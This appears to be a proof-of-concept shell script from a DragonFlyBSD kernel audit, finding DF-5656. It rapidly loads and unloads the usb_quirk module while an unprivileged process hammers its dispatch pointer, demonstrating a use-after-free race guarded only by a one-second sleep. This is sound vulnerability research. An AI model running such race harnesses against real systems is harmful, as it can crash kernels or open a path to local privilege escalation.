⬢ DragonFlyBSD Kernel Audit
DF-5656 / race_root.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5656 - root side: kldload/kldunload usb_quirk.ko while an
# unprivileged consumer hammers the dispatch pointer.
# Demonstrates:
#  (1) unload succeeds with concurrent in-flight consumers (no refcount
#      protection for the pointer-consuming module);
#  (2) every unload takes >= 1s - the tsleep(usb_quirk_unload,0,"WAIT",hz)
#      "grace period" at sys/bus/u4b/usb_dynamic.c:113 is the ONLY thing
#      standing between an in-flight consumer and freed module text.
set -e
SPAM_SECS=${1:-20}
NLOOPS=${2:-10}

echo "== baseline: quiet load/unload timing =="
kldload usb_quirk
t0=$(date +%s.%N 2>/dev/null || date +%s)
kldunload usb_quirk
t1=$(date +%s.%N 2>/dev/null || date +%s)
echo "quiet kldunload wall time: ${t1} - ${t0}"

echo "== concurrent: unprivileged GET spam + load/unload storm =="
# start the unprivileged consumer as user maxx (rebuilds nothing, runs bg)
su -m maxx -c "/root/df5656/quirk_get_spam ${SPAM_SECS} >/tmp/spam1.log 2>&1 &" 
SPAM_PID=$(pgrep -u maxx quirk_get_spam | head -1)
echo "spam pid=$SPAM_PID"

i=0
while [ $i -lt $NLOOPS ]; do
    kldload usb_quirk 2>/dev/null || echo "load $i failed"
    u0=$(date +%s)
    kldunload usb_quirk 2>/dev/null || echo "unload $i failed"
    u1=$(date +%s)
    echo "iter $i: unload took $((u1 - u0))s"
    i=$((i + 1))
done

echo "== spammer output =="
sleep 1
cat /tmp/spam1.log
echo "== dmesg tail =="
dmesg | tail -5